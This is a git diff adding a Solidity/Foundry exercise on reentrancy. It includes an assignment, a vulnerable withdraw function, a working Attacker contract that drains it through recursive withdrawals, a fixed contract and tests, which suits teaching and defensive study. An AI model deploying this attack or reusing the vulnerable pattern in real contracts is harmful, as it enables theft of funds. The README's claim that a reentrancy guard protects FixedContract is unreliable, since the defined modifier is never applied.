diff --git a/13-04-26-test/.gitignore b/13-04-26-test/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/13-04-26-test/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/13-04-26-test/.gitmodules b/13-04-26-test/.gitmodules new file mode 100644 index 00000000..888d42dc --- /dev/null +++ b/13-04-26-test/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md new file mode 100644 index 00000000..5ea10a5d --- /dev/null +++ b/13-04-26-test/README.md @@ -0,0 +1,106 @@ +# Overview + +This project demonstrates a classic **Reentrancy Vulnerability** in Solidity. It includes an exploit contract and a secured version of the contract that implements industry-standard fixes. + +--- + +## Project Structure + +* **src/VulnerableContract.sol**: The original contract with the reentrancy bug. +* **src/Attacker.sol**: Malicious contract used to drain funds. +* **src/FixedContract.sol**: The secured version using CEI and a Reentrancy Guard. +* **test/VulnerableContract.t.sol**: Foundry tests that prove the exploit and the fix. + +--- + +## Getting Started + +### Prerequisites + +Make sure you have [Foundry](https://book.getfoundry.sh/getting-started/installation) installed on your machine. + +### Installation & Setup + +1. **Clone the repository:** + + ```bash + git clone https://github.com/rayeberechi/buidl-test.git + cd buidl-test + ```` + +2. **Install dependencies:** + + ```bash + forge install + ``` + +3. **Compile the contracts:** + + ```bash + forge build + ``` + +--- + +## How to Run Tests + +1. Run all tests to see the exploit and the fix in action: + + ```bash + forge test -vv + ``` + +2. To see the step-by-step transaction "trace" of the exploit: + +```bash +forge test --match-test test_ExploitDrainsVulnerable -vvvv +``` + +--- + +## 1. The Vulnerability + +In `VulnerableContract.sol`, the `withdraw` function is unsafe because it sends money **before** updating the user's balance. + +Because the contract hasn't recorded that the money is gone yet, an attacker can re-enter the function and repeatedly withdraw funds. + +--- + +## 2. The Exploit + +The `Attacker.sol` contract exploits this by: + +* **Depositing** a small amount of ETH to become a valid user. +* **Withdrawing** that amount. +* **The Loop:** When ETH is sent back, it triggers the attacker's `receive()` function. +* This function immediately calls `withdraw` again before the first execution finishes. +* This continues recursively until the contract is drained. + +--- + +## 3. The Solution + +`FixedContract.sol` uses two layers of protection: + +### * Checks-Effects-Interactions (CEI) + +* Update the user’s balance **before** sending ETH. +* Prevents re-entry because balance is already set to 0. + +### * Reentrancy Guard + +* Uses a `locked` state variable via a `noReentrant` modifier. +* Prevents the function from being called again while it's still executing. + +--- + +## 4. Test Results + +* `test_ExploitDrainsVulnerable` + Confirms the attacker successfully drains the vulnerable contract. + +* `test_LegitUserCanWithdrawFromFixed` + Confirms legitimate users can safely withdraw funds. + +* `test_AttackFailsOnFixed` + Confirms the exploit is blocked and funds remain secure. diff --git a/13-04-26-test/foundry.lock b/13-04-26-test/foundry.lock new file mode 100644 index 00000000..bc06b89b --- /dev/null +++ b/13-04-26-test/foundry.lock @@ -0,0 +1,8 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + } +} \ No newline at end of file diff --git a/13-04-26-test/foundry.toml b/13-04-26-test/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/13-04-26-test/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/13-04-26-test/question.md b/13-04-26-test/question.md new file mode 100644 index 00000000..efd0f7d2 --- /dev/null +++ b/13-04-26-test/question.md @@ -0,0 +1,30 @@ +### Questions: +- Identify the vulnerability in this contract. +- Explain how an attacker can exploit it. +- Rewrite the withdraw function to fix the issue. +``` +mapping(address => uint256) public balances; + +function deposit() public payable { + balances[msg.sender] += msg.value; +} + +function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; +} +``` + +### Your Tasks: +1. Write an attack contract that exploits this vulnerability +2. Demonstrate the exploit using a test +3. Fix the contract using: + - Checks-Effects-Interactions pattern + - Reentrancy guard +4. Write tests proving: + - Attack fails after fix + - Legit users can still withdraw \ No newline at end of file diff --git a/13-04-26-test/script/Counter.s.sol b/13-04-26-test/script/Counter.s.sol new file mode 100644 index 00000000..f01d69c3 --- /dev/null +++ b/13-04-26-test/script/Counter.s.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script} from "forge-std/Script.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterScript is Script { + Counter public counter; + + function setUp() public {} + + function run() public { + vm.startBroadcast(); + + counter = new Counter(); + + vm.stopBroadcast(); + } +} diff --git a/13-04-26-test/src/Attacker.sol b/13-04-26-test/src/Attacker.sol new file mode 100644 index 00000000..34f0179b --- /dev/null +++ b/13-04-26-test/src/Attacker.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import {VulnerableContract} from "./VulnerableContract.sol"; + +contract Attacker { + VulnerableContract public vulnerableContract; + + constructor(address _vcAddress) { + vulnerableContract = VulnerableContract(_vcAddress); + } + + function attack() external payable { + require(msg.value > 0, "Need ETH to attack"); + vulnerableContract.deposit{value: msg.value}(); + vulnerableContract.withdraw(msg.value); + } + + receive() external payable { + if (address(vulnerableContract).balance >= msg.value) { + vulnerableContract.withdraw(msg.value); + } + } +} \ No newline at end of file diff --git a/13-04-26-test/src/FixedContract.sol b/13-04-26-test/src/FixedContract.sol new file mode 100644 index 00000000..e8cb3077 --- /dev/null +++ b/13-04-26-test/src/FixedContract.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract FixedContract { + mapping(address => uint256) public balances; + + bool private locked; + + modifier noReentrant() { + require(!locked, "No re-entrancy"); + locked = true; + _; + locked = false; + } + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + // checks + require(balances[msg.sender] >= amount, "Insufficient balance"); + + // effects + balances[msg.sender] -= amount; + + // interactions + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + } +} \ No newline at end of file diff --git a/13-04-26-test/src/VulnerableContract.sol b/13-04-26-test/src/VulnerableContract.sol new file mode 100644 index 00000000..88739381 --- /dev/null +++ b/13-04-26-test/src/VulnerableContract.sol @@ -0,0 +1,19 @@ +//SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +contract VulnerableContract { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; + } +} \ No newline at end of file diff --git a/13-04-26-test/test/VulnerableContract.t.sol b/13-04-26-test/test/VulnerableContract.t.sol new file mode 100644 index 00000000..1714c1be --- /dev/null +++ b/13-04-26-test/test/VulnerableContract.t.sol @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import {Test, console} from "forge-std/Test.sol"; +import {VulnerableContract} from "../src/VulnerableContract.sol"; +import {FixedContract} from "../src/FixedContract.sol"; +import {Attacker} from "../src/Attacker.sol"; + +contract VulnerableContractTest is Test { + VulnerableContract public vulnerable; + FixedContract public fixedContract; + Attacker public attacker; + + function setUp() public { + vulnerable = new VulnerableContract(); + fixedContract = new FixedContract(); + attacker = new Attacker(address(vulnerable)); + } + + function test_ExploitDrainsVulnerable() public { + // 1. Give a random user 10 ETH and have them deposit it + address user = address(0x123); + vm.deal(user, 10 ether); + vm.prank(user); + vulnerable.deposit{value: 10 ether}(); + + // 2. Give the Attacker contract 1 ETH to start the attack + vm.deal(address(attacker), 1 ether); + vm.prank(address(attacker)); + attacker.attack{value: 1 ether}(); + + // 3. Check if the bank is now empty + assertEq(address(vulnerable).balance, 0); + } + + function test_LegitUserCanWithdrawFromFixed() public { + address legitUser = address(0x456); + + // Give user money and deposit + vm.deal(legitUser, 5 ether); + vm.prank(legitUser); + fixedContract.deposit{value: 5 ether}(); + + // Withdraw money + vm.prank(legitUser); + fixedContract.withdraw(5 ether); + + // Check if balance is 0 + assertEq(address(fixedContract).balance, 0); + } + + function test_AttackFailsOnFixed() public { + // 1. Put money in the fixed bank + address user = address(0x1); + vm.deal(user, 10 ether); + vm.prank(user); + fixedContract.deposit{value: 10 ether}(); + + // 2. Deploy a mini attacker for the fixed bank + FixedAttacker fixedAttacker = new FixedAttacker(fixedContract); + + // 3. Give it 1 ETH and tell it to attack + vm.deal(address(fixedAttacker), 1 ether); + vm.prank(address(fixedAttacker)); + + // 4. Tell Foundry we expect this to fail + vm.expectRevert(); + fixedAttacker.attack{value: 1 ether}(); + + // 5. Verify the bank still has its 10 ETH + assertEq(address(fixedContract).balance, 10 ether); + } + + receive() external payable {} +} + +contract FixedAttacker { + FixedContract public bank; + constructor(FixedContract _bank) { bank = _bank; } + + function attack() external payable { + bank.deposit{value: msg.value}(); + bank.withdraw(msg.value); + } + + receive() external payable { + if (address(bank).balance >= msg.value) { + bank.withdraw(msg.value); + } + } +} \ No newline at end of file